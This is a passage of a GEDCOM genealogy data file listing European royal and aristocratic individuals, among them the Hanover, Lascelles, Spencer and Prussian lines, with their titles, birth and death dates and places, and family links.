BIRT\n2 DATE        1950\n1 FAMS @F357@\n1 FAMC @F94@\n0 @I294@ INDI\n1 NAME James  /Lascelles/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1953\n1 FAMS @F358@\n1 FAMC @F94@\n0 @I295@ INDI\n1 NAME Jeremy  /Lascelles/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1955\n1 FAMS @F359@\n1 FAMC @F94@\n0 @I296@ INDI\n1 NAME Angela  /Dowding/\n1 SEX F\n1 BIRT\n2 DATE        1919\n1 FAMS @F95@\n0 @I297@ INDI\n1 NAME Henry  /Lascelles/\n1 SEX M\n1 BIRT\n2 DATE        1953\n1 FAMS @F368@\n1 FAMC @F95@\n0 @I298@ INDI\n1 NAME William of_Hesse-Cassel //\n1 TITL Landgrave\n1 SEX M\n1 BIRT\n2 DATE        1787\n1 DEAT\n2 DATE        1867\n1 FAMS @F96@\n1 FAMC @F97@\n0 @I299@ INDI\n1 NAME Louise Charlotte of_Denmark//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1789\n1 DEAT\n2 DATE        1864\n1 FAMS @F96@\n1 FAMC @F642@\n0 @I300@ INDI\n1 NAME Other_issue  //\n1 SEX M\n1 FAMC @F96@\n0 @I301@ INDI\n1 NAME Frederick of_Hesse-Cassel //\n1 TITL Landgrave\n1 SEX M\n1 BIRT\n2 DATE        1747\n1 DEAT\n2 DATE        1837\n1 FAMS @F97@\n1 FAMC @F622@\n0 @I302@ INDI\n1 NAME Caroline of_Nassau- Usingen//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1762\n1 DEAT\n2 DATE        1823\n1 FAMS @F97@\n0 @I303@ INDI\n1 NAME Alexander of_Wurttemberg //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1804\n1 DEAT\n2 DATE        1885\n1 FAMS @F98@\n1 FAMC @F170@\n0 @I304@ INDI\n1 NAME Claudine  //\n1 TITL Countess Rhedey\n1 SEX F\n1 BIRT\n2 DATE        1814\n1 DEAT\n2 DATE        1841\n1 FAMS @F98@\n0 @I305@ INDI\n1 NAME Claudine  //\n1 TITL Princess of Teck\n1 SEX F\n1 BIRT\n2 DATE        1836\n1 DEAT\n2 DATE        1894\n1 FAMC @F98@\n0 @I306@ INDI\n1 NAME Amelie  //\n1 TITL Princess of Teck\n1 SEX F\n1 BIRT\n2 DATE        1838\n1 DEAT\n2 DATE        1893\n1 FAMS @F99@\n1 FAMC @F98@\n0 @I307@ INDI\n1 NAME Paul  /von_Hugel/\n1 TITL Baron\n1 SEX M\n1 BIRT\n2 DATE        1835\n1 DEAT\n2 DATE        1897\n1 FAMS @F99@\n0 @I308@ INDI\n1 NAME Paul  /von_Hugel/\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1912\n1 FAMC @F99@\n0 @I309@ INDI\n1 NAME Ferdinand_I of_Hohenzollern- Sigmaringen/Hohenzollern/\n1 TITL King of Romania\n1 SEX M\n1 BIRT\n2 DATE 24 AUG 1865\n2 PLAC Sigmaringen,Germany\n1 DEAT\n2 DATE 20 JUL 1927\n2 PLAC Sinaia,Romania\n1 FAMS @F100@\n1 FAMC @F416@\n0 @I310@ INDI\n1 NAME Christian Victor //\n1 SEX M\n1 BIRT\n2 DATE        1867\n1 DEAT\n2 DATE        1900\n1 FAMC @F32@\n0 @I311@ INDI\n1 NAME Albert of_Schleswig- Holstein//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1931\n1 FAMC @F32@\n0 @I312@ INDI\n1 NAME Helena Victoria //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1948\n1 FAMC @F32@\n0 @I313@ INDI\n1 NAME Frederick Harold //\n1 SEX M\n1 BIRT\n2 DATE 12 MAY 1876\n1 DEAT\n2 DATE 20 MAY 1876\n1 FAMC @F32@\n0 @I314@ INDI\n1 NAME Patricia  /Tuckwell/\n1 SEX F\n1 BIRT\n2 DATE        1923\n1 FAMS @F101@\n1 FAMS @F1412@\n0 @I315@ INDI\n1 NAME Mark  /Lascelles/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1964\n1 FAMC @F101@\n0 @I316@ INDI\n1 NAME Elizabeth Collingwood /Colvin/\n1 SEX F\n1 BIRT\n2 DATE        1924\n1 FAMS @F102@\n0 @I317@ INDI\n1 NAME Davina Elizabeth Alice/Windsor/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE 19 NOV 1977\n1 CHR\n2 PLAC Barnwell Church,,England\n1 FAMC @F23@\n0 @I318@ INDI\n1 NAME Rose Victoria Birgitte/Windsor/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE  1 MAR 1980\n2 PLAC St. Marys Hosp.,Paddington,England\n1 CHR\n2 DATE 13 JUL 1980\n2 PLAC Barnwell Church,,England\n1 FAMC @F23@\n0 @I319@ INDI\n1 NAME Marie-Christine  /von_Reibnitz/\n1 TITL Baroness\n1 SEX F\n1 BIRT\n2 DATE 15 JAN 1945\n2 PLAC Czechoslovakia\n1 FAMS @F295@\n1 FAMS @F103@\n0 @I320@ INDI\n1 NAME Frederick  /Windsor/\n1 TITL Lord\n1 SEX M\n1 BIRT\n2 DATE  6 APR 1979\n2 PLAC St. Mary's Hosp.,Paddington,London,England\n1 CHR\n2 DATE 11 JUL 1979\n2 PLAC Chapel Royal,St. James Palace,England\n1 FAMC @F103@\n0 @I321@ INDI\n1 NAME George_II  /Hanover/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 30 OCT 1683\n2 PLAC Herrenhausen,Palace,Hannover,Germany\n1 DEAT\n2 DATE 25 OCT 1760\n2 PLAC Kensington,Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 REFN 16\n1 FAMS @F104@\n1 FAMC @F106@\n0 @I322@ INDI\n1 NAME Caroline of_Ansbach //\n1 SEX F\n1 BIRT\n2 DATE        1683\n1 DEAT\n2 DATE        1737\n1 REFN 17\n1 FAMS @F104@\n1 FAMC @F661@\n0 @I323@ INDI\n1 NAME Frederick Louis /Hanover/\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE 31 JAN 1701\n2 PLAC Hanover\n1 DEAT\n2 DATE 31 MAR 1751\n2 PLAC Leicester-House,,London,England\n1 REFN 8\n1 FAMS @F105@\n1 FAMC @F104@\n0 @I324@ INDI\n1 NAME Anne  /Hanover/\n1 TITL Princess Royal\n1 SEX F\n1 BIRT\n2 DATE  2 NOV 1709\n2 PLAC Herrenhausen\n1 DEAT\n2 DATE 12 JAN 1759\n2 PLAC The Hague\n1 FAMS @F238@\n1 FAMC @F104@\n0 @I325@ INDI\n1 NAME Amelia Sophia Eleanor/Hanover/\n1 SEX F\n1 BIRT\n2 DATE 10 JUL 1711\n2 PLAC Herrenhausen\n1 DEAT\n2 DATE 31 OCT 1786\n2 PLAC Cavendish Square,,London,England\n1 FAMC @F104@\n0 @I326@ INDI\n1 NAME Caroline Elizabeth /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 21 JUN 1713\n2 PLAC Herrenhausen\n1 DEAT\n2 DATE 28 DEC 1757\n2 PLAC St. James Palace,,,England\n1 FAMC @F104@\n0 @I327@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE 20 NOV 1716\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 20 NOV 1716\n2 PLAC St. James Palace,London,England\n1 FAMC @F104@\n0 @I328@ INDI\n1 NAME George William /Hanover/\n1 SEX M\n1 BIRT\n2 DATE 13 NOV 1717\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 17 FEB 1718\n2 PLAC Kensington,Palace,London,England\n1 FAMC @F104@\n0 @I329@ INDI\n1 NAME William Augustus of_Cumberland/Hanover/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 26 APR 1721\n2 PLAC Leicester House\n1 DEAT\n2 DATE 31 OCT 1765\n2 PLAC London,,,England\n1 FAMC @F104@\n0 @I330@ INDI\n1 NAME Mary  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE  5 MAR 1723\n2 PLAC Leicester House\n1 DEAT\n2 DATE 14 JAN 1772\n2 PLAC Hanau\n1 FAMS @F622@\n1 FAMC @F104@\n0 @I331@ INDI\n1 NAME Louisa  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 18 DEC 1724\n2 PLAC Leicester House,London,England\n1 DEAT\n2 DATE 19 DEC 1751\n2 PLAC Christiansborg,Denmark\n1 FAMS @F107@\n1 FAMC @F104@\n0 @I332@ INDI\n1 NAME Augusta of_Saxe-Gotha //\n1 SEX F\n1 BIRT\n2 DATE 30 NOV 1719\n2 PLAC Gotha\n1 DEAT\n2 DATE  8 FEB 1772\n2 PLAC Carlton House\n1 REFN 9\n1 FAMS @F105@\n1 FAMC @F956@\n0 @I333@ INDI\n1 NAME Augusta  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 12 AUG 1737\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 23 MAR 1813\n2 PLAC London,England\n1 FAMS @F501@\n1 FAMC @F105@\n0 @I334@ INDI\n1 NAME Edward Augustus /Hanover/\n1 TITL Duke of York\n1 SEX M\n1 BIRT\n2 DATE 25 MAR 1739\n2 PLAC Norfolk House\n1 DEAT\n2 DATE 17 SEP 1767\n2 PLAC Monaco\n1 FAMC @F105@\n0 @I335@ INDI\n1 NAME Elizabeth Caroline /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 10 JAN 1741\n1 DEAT\n2 DATE  4 SEP 1759\n2 PLAC Kew Palace\n1 FAMC @F105@\n0 @I336@ INDI\n1 NAME Edward Henry of_Gloucester/Hanover/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 25 NOV 1743\n2 PLAC Leicester House\n1 DEAT\n2 DATE 25 AUG 1805\n2 PLAC Gloucester House\n1 FAMS @F279@\n1 FAMC @F105@\n0 @I337@ INDI\n1 NAME Henry Frederick of_Cumberland/Hanover/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE  7 NOV 1745\n2 PLAC Leicester House\n1 DEAT\n2 DATE 18 SEP 1790\n2 PLAC London,,,England\n1 FAMS @F280@\n1 FAMC @F105@\n0 @I338@ INDI\n1 NAME Louisa Anne /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 19 MAR 1749\n2 PLAC Leicester House\n1 DEAT\n2 DATE 13 MAY 1768\n2 PLAC Carlton House\n1 FAMC @F105@\n0 @I339@ INDI\n1 NAME Frederick William /Hanover/\n1 SEX M\n1 BIRT\n2 DATE 24 MAY 1750\n2 PLAC Leicester House\n1 DEAT\n2 DATE 29 DEC 1765\n2 PLAC Leicester House\n1 FAMC @F105@\n0 @I340@ INDI\n1 NAME Caroline Matilda /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 22 JUL 1751\n2 PLAC Leicester House\n1 DEAT\n2 DATE 10 MAY 1775\n2 PLAC Celle\n1 BURI\n2 PLAC Celle\n1 FAMS @F281@\n1 FAMC @F105@\n0 @I341@ INDI\n1 NAME George_I  /Hanover/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 28 MAY 1660\n2 PLAC Leineschloss,Osnabruck,Hanover,Germany\n1 DEAT\n2 DATE 11 JUN 1727\n2 PLAC Osnabruck\n1 BURI\n2 PLAC Moved in 1957 to,Herrenhausen\n1 REFN 32\n1 FAMS @F106@\n1 FAMC @F266@\n0 @I342@ INDI\n1 NAME Sophia Dorothea of_Celle//\n1 SEX F\n1 BIRT\n2 DATE 10 SEP 1666\n1 DEAT\n2 DATE 13 NOV 1726\n1 BURI\n2 PLAC Celle\n1 REFN 33\n1 FAMS @F106@\n1 FAMC @F955@\n0 @I343@ INDI\n1 NAME Sophia Dorothea /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 26 MAR 1687\n2 PLAC Hanover\n1 DEAT\n2 DATE 28 JUN 1757\n2 PLAC Monbijou Palace,,Berlin,Germany\n1 FAMS @F435@\n1 FAMC @F106@\n0 @I344@ INDI\n1 NAME Frederick_V  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 31 MAR 1723\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE 14 JAN 1766\n2 PLAC Christiansborg\n1 FAMS @F107@\n1 FAMS @F630@\n1 FAMC @F631@\n0 @I345@ INDI\n1 NAME Frederick William of_Schleswig-//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1785\n1 DEAT\n2 DATE        1831\n1 FAMS @F108@\n0 @I346@ INDI\n1 NAME Louise Caroline of_Hesse-Cassel//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1789\n1 DEAT\n2 DATE        1867\n1 FAMS @F108@\n1 FAMC @F641@\n0 @I347@ INDI\n1 NAME Alexander of_Hesse and_the_Rhine//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1823\n1 DEAT\n2 DATE        1888\n1 FAMS @F109@\n1 FAMC @F110@\n0 @I348@ INDI\n1 NAME Julia of_Battenberg /von_Hauke/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1825\n1 DEAT\n2 DATE        1895\n1 FAMS @F109@\n1 FAMC @F111@\n0 @I349@ INDI\n1 NAME Louis_II of_Hesse and_the_Rhine//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1777\n1 DEAT\n2 DATE        1848\n1 FAMS @F110@\n1 FAMC @F1371@\n0 @I350@ INDI\n1 NAME Wilhelmina of_Baden //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1788\n1 DEAT\n2 DATE        1836\n1 FAMS @F110@\n0 @I351@ INDI\n1 NAME John Maurice /von_Hauke/\n1 TITL Count\n1 SEX M\n1 DEAT\n2 DATE        1830\n1 FAMS @F111@\n0 @I352@ INDI\n1 NAME Sophie  /la_Fontaine/\n1 SEX F\n1 DEAT\n2 DATE        1831\n1 FAMS @F111@\n0 @I353@ INDI\n1 NAME Constantine Nikolaievitch of_Russia//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1827\n1 DEAT\n2 DATE        1892\n1 FAMS @F112@\n1 FAMC @F10@\n0 @I354@ INDI\n1 NAME Elizabeth Alexandra of_Saxe-//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1830\n1 DEAT\n2 DATE        1911\n1 FAMS @F112@\n1 FAMC @F113@\n0 @I355@ INDI\n1 NAME Joseph of_Saxe- Altenburg//\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1868\n1 FAMS @F113@\n0 @I356@ INDI\n1 NAME Amalie of_Wurttemberg //\n1 TITL Duchess\n1 SEX F\n1 DEAT\n2 DATE        1848\n1 FAMS @F113@\n1 FAMC @F170@\n0 @I357@ INDI\n1 NAME Charles of_Hesse //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1809\n1 DEAT\n2 DATE        1877\n1 FAMS @F114@\n1 FAMC @F110@\n0 @I358@ INDI\n1 NAME Elizabeth of_Prussia //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1815\n1 DEAT\n2 DATE        1885\n1 FAMS @F114@\n1 FAMC @F1235@\n0 @I359@ INDI\n1 NAME Charles William Frederick/Cavendish-Bentwi/\n1 TITL Reverend\n1 SEX M\n1 DEAT\n2 DATE        1865\n0 @I360@ INDI\n1 NAME William Charles Augustus/Cavendish-Bentin/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1826\n1 FAMS @F115@\n0 @I361@ INDI\n1 NAME Anne  /Wellesley/\n1 SEX F\n1 DEAT\n2 DATE        1875\n1 FAMS @F115@\n1 FAMC @F803@\n0 @I362@ INDI\n1 NAME Edwyn  /Burnaby/\n1 SEX M\n1 DEAT\n2 DATE        1867\n1 FAMS @F116@\n0 @I363@ INDI\n1 NAME Anne Caroline /Salisbury/\n1 SEX F\n1 DEAT\n2 DATE        1881\n1 FAMS @F116@\n0 @I364@ INDI\n1 NAME Oswald  /Smith/\n1 SEX M\n1 DEAT\n2 DATE        1863\n1 FAMS @F117@\n0 @I365@ INDI\n1 NAME Henrietta Mildred /Hodgson/\n1 SEX F\n1 FAMS @F117@\n0 @I366@ INDI\n1 NAME Albert Edward John/Spencer/\n1 TITL Earl of Spencer\n1 SEX M\n1 BIRT\n2 DATE        1892\n1 DEAT\n2 DATE        1975\n1 FAMS @F118@\n1 FAMC @F133@\n0 @I367@ INDI\n1 NAME Cynthia Elinor Beatrix/Hamilton/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1897\n1 DEAT\n2 DATE        1972\n1 FAMS @F118@\n1 FAMC @F127@\n0 @I368@ INDI\n1 NAME Edmund Maurice /Burke_Roche/\n1 TITL Baron Fermoy\n1 SEX M\n1 BIRT\n2 DATE        1885\n1 DEAT\n2 DATE        1955\n1 FAMS @F119@\n1 FAMC @F120@\n0 @I369@ INDI\n1 NAME Ruth Sylvia /Gill/\n1 SEX F\n1 BIRT\n2 DATE        1908\n1 FAMS @F119@\n1 FAMC @F130@\n0 @I370@ INDI\n1 NAME James Boothby /Burke_Roche/\n1 TITL Baron Fermoy\n1 SEX M\n1 BIRT\n2 DATE        1851\n1 DEAT\n2 DATE        1920\n1 FAMS @F120@\n1 FAMC @F124@\n0 @I371@ INDI\n1 NAME Frances Ellen /Work/\n1 SEX F\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1947\n1 FAMS @F120@\n1 FAMC @F121@\n0 @I372@ INDI\n1 NAME Frank  /Work/\n1 SEX M\n1 BIRT\n2 DATE        1819\n1 DEAT\n2 DATE        1911\n1 FAMS @F121@\n1 FAMC @F123@\n0 @I373@ INDI\n1 NAME Ellen  /Wood/\n1 SEX F\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1877\n1 FAMS @F121@\n1 FAMC @F122@\n0 @I374@ INDI\n1 NAME John  /Wood/\n1 SEX M\n1 DEAT\n2 DATE        1847\n1 FAMS @F122@\n0 @I375@ INDI\n1 NAME Ellen  /Strong/\n1 SEX F\n1 DEAT\n2 DATE        1863\n1 FAMS @F122@\n0 @I376@ INDI\n1 NAME John  /Work/\n1 SEX M\n1 FAMS @F123@\n0 @I377@ INDI\n1 NAME Sarah  /Boude/\n1 SEX F\n1 FAMS @F123@\n0 @I378@ INDI\n1 NAME Edmund  /Burke_Roche/\n1 TITL Baron Fermoy\n1 SEX M\n1 BIRT\n2 DATE        1815\n1 DEAT\n2 DATE        1874\n1 FAMS @F124@\n1 FAMC @F126@\n0 @I379@ INDI\n1 NAME Elizabeth Caroline /Boothby/\n1 SEX F\n1 BIRT\n2 DATE        1821\n1 DEAT\n2 DATE        1897\n1 FAMS @F124@\n1 FAMC @F125@\n0 @I380@ INDI\n1 NAME James Brownell /Boothby/\n1 SEX M\n1 DEAT\n2 DATE        1850\n1 FAMS @F125@\n0 @I381@ INDI\n1 NAME Charlotte  /Cunningham/\n1 SEX F\n1 DEAT\n2 DATE        1893\n1 FAMS @F125@\n0 @I382@ INDI\n1 NAME Edward  /Roche/\n1 SEX M\n1 DEAT\n2 DATE        1855\n1 FAMS @F126@\n0 @I383@ INDI\n1 NAME Margaret Honoria /Curtain/\n1 SEX F\n1 DEAT\n2 DATE        1862\n1 FAMS @F126@\n0 @I384@ INDI\n1 NAME James Albert Edward/Hamilton/\n1 TITL Duke of Abercorn\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1953\n1 FAMS @F127@\n1 FAMC @F128@\n0 @I385@ INDI\n1 NAME Rosalind Cecilia Caroline/Bingham/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1958\n1 FAMS @F127@\n1 FAMC @F129@\n0 @I386@ INDI\n1 NAME James  /Hamilton/\n1 TITL Duke of Abercorn\n1 SEX M\n1 BIRT\n2 DATE        1838\n1 DEAT\n2 DATE        1913\n1 FAMS @F128@\n1 FAMC @F288@\n0 @I387@ INDI\n1 NAME Mary Anna /Curzon-Howe/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1848\n1 DEAT\n2 DATE        1929\n1 FAMS @F128@\n1 FAMC @F287@\n0 @I388@ INDI\n1 NAME George  /Bingham/\n1 TITL Earl of Lucan\n1 SEX M\n1 BIRT\n2 DATE        1830\n1 DEAT\n2 DATE        1914\n1 FAMS @F129@\n1 FAMC @F289@\n0 @I389@ INDI\n1 NAME Cecilia Catherine /Gordon-Lennox/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1838\n1 DEAT\n2 DATE        1910\n1 FAMS @F129@\n1 FAMC @F290@\n0 @I390@ INDI\n1 NAME William Smith /Gill/\n1 SEX M\n1 BIRT\n2 DATE        1865\n1 DEAT\n2 DATE        1957\n1 FAMS @F130@\n1 FAMC @F131@\n0 @I391@ INDI\n1 NAME Ruth  /Littlejohn/\n1 SEX F\n1 BIRT\n2 DATE        1879\n1 DEAT\n2 DATE        1964\n1 FAMS @F130@\n1 FAMC @F132@\n0 @I392@ INDI\n1 NAME Alexander Ogston /Gill/\n1 SEX M\n1 BIRT\n2 DATE        1833\n1 DEAT\n2 DATE        1908\n1 FAMS @F131@\n1 FAMC @F291@\n0 @I393@ INDI\n1 NAME Barbara Smith /Marr/\n1 SEX F\n1 BIRT\n2 DATE        1843\n1 FAMS @F131@\n1 FAMC @F292@\n0 @I394@ INDI\n1 NAME David  /Littlejohn/\n1 SEX M\n1 BIRT\n2 DATE        1841\n1 DEAT\n2 DATE        1924\n1 FAMS @F132@\n1 FAMC @F293@\n0 @I395@ INDI\n1 NAME Jane  /Crombie/\n1 SEX F\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1917\n1 FAMS @F132@\n1 FAMC @F294@\n0 @I396@ INDI\n1 NAME Charles Robert /Spencer/\n1 TITL Earl of Spencer\n1 SEX M\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1922\n1 FAMS @F133@\n1 FAMC @F134@\n0 @I397@ INDI\n1 NAME Margaret  /Baring/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1906\n1 FAMS @F133@\n1 FAMC @F135@\n0 @I398@ INDI\n1 NAME Frederick  /Spencer/\n1 TITL Earl of Spencer\n1 SEX M\n1 BIRT\n2 DATE        1798\n1 DEAT\n2 DATE        1857\n1 FAMS @F134@\n1 FAMS @F683@\n1 FAMC @F285@\n0 @I399@ INDI\n1 NAME Adelaide Horatia Elizabeth/Seymour/\n1 SEX F\n1 BIRT\n2 DATE        1825\n1 DEAT\n2 DATE        1877\n1 FAMS @F134@\n1 FAMC @F284@\n0 @I400@ INDI\n1 NAME Edward Charles /Baring/\n1 TITL Baron Revelstoke\n1 SEX M\n1 BIRT\n2 DATE        1828\n1 DEAT\n2 DATE        1897\n1 FAMS @F135@\n1 FAMC @F286@\n0 @I401@ INDI\n1 NAME Louisa Emily Charlotte/Bulteel/\n1 SEX F\n1 BIRT\n2 DATE        1839\n1 DEAT\n2 DATE        1892\n1 FAMS @F135@\n1 FAMC @F283@\n0 @I402@ INDI\n1 NAME Augusta of_Schleswig- Holstein-//\n1 SEX F\n1 BIRT\n2 DATE 22 OCT 1858\n2 PLAC Dolzig\n1 DEAT\n2 DATE 11 APR 1921\n2 PLAC Haus Doorn,Netherlands\n1 FAMS @F136@\n0 @I403@ INDI\n1 NAME Bernard of_Saxe- Meiningen//\n1 SEX M\n1 BIRT\n2 DATE        1851\n1 DEAT\n2 DATE        1928\n1 FAMS @F137@\n0 @I404@ INDI\n1 NAME Adolphus of_Schaumburg- Lippe//\n1 SEX M\n1 BIRT\n2 DATE        1859\n1 DEAT\n2 DATE        1916\n1 FAMS @F138@\n0 @I405@ INDI\n1 NAME Constantine_I  /Oldenburg/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE  2 AUG 1868\n2 PLAC Athens,Greece\n1 DEAT\n2 DATE 11 JAN 1923\n2 PLAC Palermo,Italy\n1 BURI\n2 DATE    NOV 1936\n2 PLAC Tatoi,Near Athens,Greece\n1 FAMS @F139@\n1 FAMC @F75@\n0 @I406@ INDI\n1 NAME Frederick Charles of_Hesse//\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1940\n1 FAMS @F140@\n0 @I407@ INDI\n1 NAME Victoria of_Schleswig- Holstein//\n1 TITL Princess\n1 SEX F\n1 FAMS @F141@\n0 @I408@ INDI\n1 NAME Irene  /Denison/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE 16 JUL 1956\n1 BURI\n2 PLAC Whippingham Ch.,Isle of Wight,,England\n1 FAMS @F142@\n1 FAMC @F966@\n0 @I409@ INDI\n1 NAME Alfonso_XIII  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1886\n1 DEAT\n2 DATE        1941\n2 PLAC ,,Portugal\n1 FAMS @F143@\n1 FAMC @F254@\n0 @I410@ INDI\n1 NAME Louise of_Mecklenburg- Strelitz//\n1 SEX F\n1 BIRT\n2 DATE        1776\n1 DEAT\n2 DATE        1810\n1 FAMS @F145@\n0 @I411@ INDI\n1 NAME Frederick William_IV //\n1 TITL King of Prussia\n1 SEX M\n1 BIRT\n2 DATE 15 OCT 1795\n2 PLAC Berlin,Germany\n1 DEAT\n2 DATE  2 JAN 1861\n1 FAMS @F434@\n1 FAMC @F145@\n0 @I412@ INDI\n1 NAME William_I of_Germany //\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE 22 MAR 1797\n2 PLAC Berlin,Germany\n1 DEAT\n2 DATE  9 MAR 1888\n2 PLAC Berlin,Germany\n1 FAMS @F147@\n1 FAMC @F145@\n0 @I413@ INDI\n1 NAME Frederica  //\n1 SEX F\n1 BIRT\n2 DATE        1799\n1 DEAT\n2 DATE        1800\n1 FAMC @F145@\n0 @I414@ INDI\n1 NAME Charles  //\n1 SEX M\n1 BIRT\n2 DATE        1801\n1 DEAT\n2 DATE        1883\n1 FAMS @F184@\n1 FAMC @F145@\n0 @I415@ INDI\n1 NAME Charles  //\n1 SEX M\n1 BIRT\n2 DATE        1766\n1 DEAT\n2 DATE        1806\n1 FAMS @F1257@\n0 @I416@ INDI\n1 NAME Ferdinand  //\n1 SEX M\n1 BIRT\n2 DATE        1804\n1 DEAT\n2 DATE        1806\n1 FAMC @F145@\n0 @I417@ INDI\n1 NAME Charlemagne  //\n1 TITL King of Franks\n1 SEX M\n1 BIRT\n2 DATE  2 APR  742\n2 PLAC Aachen,West Germany\n1 DEAT\n2 DATE         814\n1 FAMS @F182@\n1 FAMS @F664@\n1 FAMS @F1202@\n1 FAMS @F1203@\n1 FAMS @F1204@\n1 FAMC @F1225@\n0 @I418@ INDI\n1 NAME Albert of_Prussia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1809\n1 DEAT\n2 DATE        1872\n1 FAMS @F180@\n1 FAMS @F181@\n1 FAMC @F145@\n0 @I419@ INDI\n1 NAME Hermine of_Reuss //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 17 DEC 1887\n2 PLAC Greiz\n1 DEAT\n2 DATE  7 AUG 1947\n2 PLAC Frankfurt an der,Oder\n1 FAMS @F278@\n1 FAMS @F146@\n0 @I420@ INDI\n1 NAME William  //\n1 TITL Crown Prince\n1 SEX M\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1951/1952\n1 FAMS @F186@\n1 FAMC @F136@\n0 @I421@ INDI\n1 NAME Eitel Frederick //\n1 SEX M\n1 BIRT\n2 DATE        1883\n1 DEAT\n2 DATE        1942/1943\n1 FAMS @F193@\n1 FAMC @F136@\n0 @I422@ INDI\n1 NAME Adalbert  //\n1 SEX M\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1948\n1 FAMS @F194@\n1 FAMC @F136@\n0 @I423@ INDI\n1 NAME Augustus William //\n1 SEX M\n1 BIRT\n2 DATE        1887\n1 DEAT\n2 DATE        1949\n1 FAMS @F195@\n1 FAMC @F136@\n0 @I424@ INDI\n1 NAME Oscar  //\n1 SEX M\n1 BIRT\n2 DATE        1888\n1 DEAT\n2 DATE        1958\n1 FAMS @F196@\n1 FAMC @F136@\n0 @I425@ INDI\n1 NAME Joachim  //\n1 SEX M\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE        1920\n1 FAMS @F197@\n1 FAMC @F136@\n0 @I426@ INDI\n1 NAME Victoria Louise of_Prussia//\n1 SEX F\n1 BIRT\n2 DATE        1892\n1 DEAT\n2 DATE        1980\n1 FAMS @F198@\n1 FAMC @F136@\n0 @I427@ INDI\n1 NAME Augusta of_Saxe-Weimar //\n1 SEX F\n1 BIRT\n2 DATE        1811\n1 DEAT\n2 DATE        1890\n1 FAMS @F147@\n0 @I428@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1828\n1 DEAT\n2 DATE        1923\n1 FAMS @F148@\n1 FAMC @F147@\n0 @I429@ INDI\n1 NAME Frederick of_Baden //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1826\n1 DEAT\n2 DATE        1907\n1 FAMS @F148@\n0 @I430@ INDI\n1 NAME Alphonso of_Cavadonga //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1907\n1 DEAT\n2 DATE        1938\n1 FAMS @F1248@\n1 FAMS @F1249@\n1 FAMC @F143@\n0 @I431@ INDI\n1 NAME Don Jamie //\n1 SEX M\n1 FAMC @F143@\n0 